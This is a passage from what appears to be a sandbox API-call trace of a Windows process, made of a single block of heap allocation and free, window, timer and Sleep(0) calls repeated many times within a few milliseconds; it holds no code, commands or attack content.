hHeap=0x790000) returned 1 [0033.389] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.389] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.389] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.389] timeGetTime () returned 0x11435ef [0033.389] Sleep (dwMilliseconds=0x0) [0033.389] GetProcessHeap () returned 0x790000 [0033.389] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.389] GetProcessHeap () returned 0x790000 [0033.389] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.389] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.389] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.389] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.389] timeGetTime () returned 0x11435ef [0033.389] Sleep (dwMilliseconds=0x0) [0033.389] GetProcessHeap () returned 0x790000 [0033.389] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.389] GetProcessHeap () returned 0x790000 [0033.389] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.389] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.389] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.389] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.389] timeGetTime () returned 0x11435ef [0033.389] Sleep (dwMilliseconds=0x0) [0033.389] GetProcessHeap () returned 0x790000 [0033.389] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.389] GetProcessHeap () returned 0x790000 [0033.389] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.389] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.389] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.389] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.389] timeGetTime () returned 0x11435ef [0033.389] Sleep (dwMilliseconds=0x0) [0033.389] GetProcessHeap () returned 0x790000 [0033.389] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.389] GetProcessHeap () returned 0x790000 [0033.389] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.389] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.389] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.389] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.389] timeGetTime () returned 0x11435ef [0033.390] Sleep (dwMilliseconds=0x0) [0033.390] GetProcessHeap () returned 0x790000 [0033.390] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.390] GetProcessHeap () returned 0x790000 [0033.390] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.390] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.390] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.390] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.390] timeGetTime () returned 0x11435ef [0033.390] Sleep (dwMilliseconds=0x0) [0033.390] GetProcessHeap () returned 0x790000 [0033.390] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.390] GetProcessHeap () returned 0x790000 [0033.390] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.390] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.390] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.390] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.390] timeGetTime () returned 0x11435ef [0033.390] Sleep (dwMilliseconds=0x0) [0033.390] GetProcessHeap () returned 0x790000 [0033.390] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.390] GetProcessHeap () returned 0x790000 [0033.390] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.390] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.390] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.390] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.390] timeGetTime () returned 0x11435ef [0033.390] Sleep (dwMilliseconds=0x0) [0033.390] GetProcessHeap () returned 0x790000 [0033.390] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.390] GetProcessHeap () returned 0x790000 [0033.390] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.390] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.390] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.390] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.390] timeGetTime () returned 0x11435ef [0033.390] Sleep (dwMilliseconds=0x0) [0033.390] GetProcessHeap () returned 0x790000 [0033.391] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.391] GetProcessHeap () returned 0x790000 [0033.391] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.391] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.391] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.391] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.391] timeGetTime () returned 0x11435ef [0033.391] Sleep (dwMilliseconds=0x0) [0033.391] GetProcessHeap () returned 0x790000 [0033.391] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.391] GetProcessHeap () returned 0x790000 [0033.391] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.391] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.391] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.391] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.391] timeGetTime () returned 0x11435ef [0033.391] Sleep (dwMilliseconds=0x0) [0033.391] GetProcessHeap () returned 0x790000 [0033.391] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.391] GetProcessHeap () returned 0x790000 [0033.391] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.391] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.391] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.391] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.391] timeGetTime () returned 0x11435ef [0033.391] Sleep (dwMilliseconds=0x0) [0033.391] GetProcessHeap () returned 0x790000 [0033.391] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.391] GetProcessHeap () returned 0x790000 [0033.391] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.391] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.391] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.391] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.391] timeGetTime () returned 0x11435ef [0033.391] Sleep (dwMilliseconds=0x0) [0033.391] GetProcessHeap () returned 0x790000 [0033.391] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.391] GetProcessHeap () returned 0x790000 [0033.391] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.391] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.392] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.392] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.392] timeGetTime () returned 0x11435ef [0033.392] Sleep (dwMilliseconds=0x0) [0033.392] GetProcessHeap () returned 0x790000 [0033.392] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.392] GetProcessHeap () returned 0x790000 [0033.392] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.392] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.392] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.392] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.392] timeGetTime () returned 0x11435ef [0033.392] Sleep (dwMilliseconds=0x0) [0033.392] GetProcessHeap () returned 0x790000 [0033.392] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.392] GetProcessHeap () returned 0x790000 [0033.392] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.392] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.392] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.392] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.392] timeGetTime () returned 0x11435ef [0033.392] Sleep (dwMilliseconds=0x0) [0033.392] GetProcessHeap () returned 0x790000 [0033.392] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.392] GetProcessHeap () returned 0x790000 [0033.392] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.392] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.392] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.392] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.392] timeGetTime () returned 0x11435ef [0033.392] Sleep (dwMilliseconds=0x0) [0033.392] GetProcessHeap () returned 0x790000 [0033.392] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.392] GetProcessHeap () returned 0x790000 [0033.392] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.392] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.392] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.392] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.392] timeGetTime () returned 0x11435ef [0033.393] Sleep (dwMilliseconds=0x0) [0033.393] GetProcessHeap () returned 0x790000 [0033.393] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.393] GetProcessHeap () returned 0x790000 [0033.393] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.393] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.393] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.393] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.393] timeGetTime () returned 0x11435ef [0033.393] Sleep (dwMilliseconds=0x0) [0033.393] GetProcessHeap () returned 0x790000 [0033.393] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.393] GetProcessHeap () returned 0x790000 [0033.393] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.393] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.393] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.393] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.393] timeGetTime () returned 0x11435ef [0033.393] Sleep (dwMilliseconds=0x0) [0033.393] GetProcessHeap () returned 0x790000 [0033.393] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.393] GetProcessHeap () returned 0x790000 [0033.393] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.393] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.393] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.393] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.393] timeGetTime () returned 0x11435ef [0033.393] Sleep (dwMilliseconds=0x0) [0033.393] GetProcessHeap () returned 0x790000 [0033.393] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.393] GetProcessHeap () returned 0x790000 [0033.393] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.393] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.393] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.393] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.393] timeGetTime () returned 0x11435ef [0033.393] Sleep (dwMilliseconds=0x0) [0033.393] GetProcessHeap () returned 0x790000 [0033.393] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.394] GetProcessHeap () returned 0x790000 [0033.394] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.394] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.394] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.394] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.394] timeGetTime () returned 0x11435ef [0033.394] Sleep (dwMilliseconds=0x0) [0033.394] GetProcessHeap () returned 0x790000 [0033.394] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.394] GetProcessHeap () returned 0x790000 [0033.394] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.394] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.394] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.394] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.394] timeGetTime () returned 0x11435ef [0033.394] Sleep (dwMilliseconds=0x0) [0033.394] GetProcessHeap () returned 0x790000 [0033.394] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.394] GetProcessHeap () returned 0x790000 [0033.394] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.394] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.394] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.394] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.394] timeGetTime () returned 0x11435ef [0033.394] Sleep (dwMilliseconds=0x0) [0033.394] GetProcessHeap () returned 0x790000 [0033.394] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.394] GetProcessHeap () returned 0x790000 [0033.394] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.394] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.394] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.394] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.394] timeGetTime () returned 0x11435ef [0033.394] Sleep (dwMilliseconds=0x0) [0033.394] GetProcessHeap () returned 0x790000 [0033.394] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.394] GetProcessHeap () returned 0x790000 [0033.394] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.394] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.395] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.395] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.395] timeGetTime () returned 0x11435ef [0033.395] Sleep (dwMilliseconds=0x0) [0033.395] GetProcessHeap () returned 0x790000 [0033.395] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.395] GetProcessHeap () returned 0x790000 [0033.395] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.395] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.395] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.395] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.395] timeGetTime () returned 0x11435ef [0033.395] Sleep (dwMilliseconds=0x0) [0033.395] GetProcessHeap () returned 0x790000 [0033.395] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.395] GetProcessHeap () returned 0x790000 [0033.395] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.395] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.395] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.395] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.395] timeGetTime () returned 0x11435ef [0033.395] Sleep (dwMilliseconds=0x0) [0033.395] GetProcessHeap () returned 0x790000 [0033.395] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.395] GetProcessHeap () returned 0x790000 [0033.395] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.395] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.395] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.395] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.395] timeGetTime () returned 0x11435ef [0033.395] Sleep (dwMilliseconds=0x0) [0033.395] GetProcessHeap () returned 0x790000 [0033.395] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.395] GetProcessHeap () returned 0x790000 [0033.395] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.395] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.395] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.395] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.395] timeGetTime () returned 0x11435ef [0033.395] Sleep (dwMilliseconds=0x0) [0033.396] GetProcessHeap () returned 0x790000 [0033.396] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.396] GetProcessHeap () returned 0x790000 [0033.396] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.396] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.396] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.396] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.396] timeGetTime () returned 0x11435ef [0033.396] Sleep (dwMilliseconds=0x0) [0033.396] GetProcessHeap () returned 0x790000 [0033.396] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.396] GetProcessHeap () returned 0x790000 [0033.396] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.396] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.396] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.396] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.396] timeGetTime () returned 0x11435ef [0033.396] Sleep (dwMilliseconds=0x0) [0033.396] GetProcessHeap () returned 0x790000 [0033.396] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.396] GetProcessHeap () returned 0x790000 [0033.396] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.396] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.396] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.396] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.396] timeGetTime () returned 0x11435ef [0033.396] Sleep (dwMilliseconds=0x0) [0033.396] GetProcessHeap () returned 0x790000 [0033.396] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.396] GetProcessHeap () returned 0x790000 [0033.396] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.396] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.396] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.396] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.396] timeGetTime () returned 0x11435ef [0033.396] Sleep (dwMilliseconds=0x0) [0033.396] GetProcessHeap () returned 0x790000 [0033.396] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.397] GetProcessHeap () returned 0x790000 [0033.397] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.397] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.397] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.397] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.397] timeGetTime () returned 0x11435ef [0033.397] Sleep (dwMilliseconds=0x0) [0033.397] GetProcessHeap () returned 0x790000 [0033.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.397] GetProcessHeap () returned 0x790000 [0033.397] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.397] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.397] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.397] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.397] timeGetTime () returned 0x11435ef [0033.397] Sleep (dwMilliseconds=0x0) [0033.397] GetProcessHeap () returned 0x790000 [0033.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.397] GetProcessHeap () returned 0x790000 [0033.397] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.397] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.397] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.397] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.397] timeGetTime () returned 0x11435ef [0033.397] Sleep (dwMilliseconds=0x0) [0033.397] GetProcessHeap () returned 0x790000 [0033.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.397] GetProcessHeap () returned 0x790000 [0033.397] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.397] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.397] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.397] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.397] timeGetTime () returned 0x11435ef [0033.397] Sleep (dwMilliseconds=0x0) [0033.397] GetProcessHeap () returned 0x790000 [0033.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.397] GetProcessHeap () returned 0x790000 [0033.397] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.397] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.398] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.398] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.398] timeGetTime () returned 0x11435ef [0033.398] Sleep (dwMilliseconds=0x0) [0033.398] GetProcessHeap () returned 0x790000 [0033.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.398] GetProcessHeap () returned 0x790000 [0033.398] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.398] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.398] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.398] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.398] timeGetTime () returned 0x11435ef [0033.398] Sleep (dwMilliseconds=0x0) [0033.398] GetProcessHeap () returned 0x790000 [0033.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.398] GetProcessHeap () returned 0x790000 [0033.398] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.398] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.398] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.398] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.398] timeGetTime () returned 0x11435ef [0033.398] Sleep (dwMilliseconds=0x0) [0033.398] GetProcessHeap () returned 0x790000 [0033.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.398] GetProcessHeap () returned 0x790000 [0033.398] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.398] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.398] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.398] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.398] timeGetTime () returned 0x11435ef [0033.398] Sleep (dwMilliseconds=0x0) [0033.398] GetProcessHeap () returned 0x790000 [0033.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.398] GetProcessHeap () returned 0x790000 [0033.398] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.398] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.398] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.398] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.398] timeGetTime () returned 0x11435ef [0033.398] Sleep (dwMilliseconds=0x0) [0033.399] GetProcessHeap () returned 0x790000 [0033.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.399] GetProcessHeap () returned 0x790000 [0033.399] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.399] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.399] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.399] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.399] timeGetTime () returned 0x11435ef [0033.399] Sleep (dwMilliseconds=0x0) [0033.399] GetProcessHeap () returned 0x790000 [0033.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.399] GetProcessHeap () returned 0x790000 [0033.399] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.399] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.399] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.399] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.399] timeGetTime () returned 0x11435ef [0033.399] Sleep (dwMilliseconds=0x0) [0033.399] GetProcessHeap () returned 0x790000 [0033.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.399] GetProcessHeap () returned 0x790000 [0033.399] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.399] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.399] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.399] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.399] timeGetTime () returned 0x11435ef [0033.399] Sleep (dwMilliseconds=0x0) [0033.399] GetProcessHeap () returned 0x790000 [0033.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.399] GetProcessHeap () returned 0x790000 [0033.399] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.399] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.399] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.399] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.399] timeGetTime () returned 0x11435ef [0033.399] Sleep (dwMilliseconds=0x0) [0033.399] GetProcessHeap () returned 0x790000 [0033.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.399] GetProcessHeap () returned 0x790000 [0033.400] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.400] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.400] EnableWindow (hWnd=0x0, 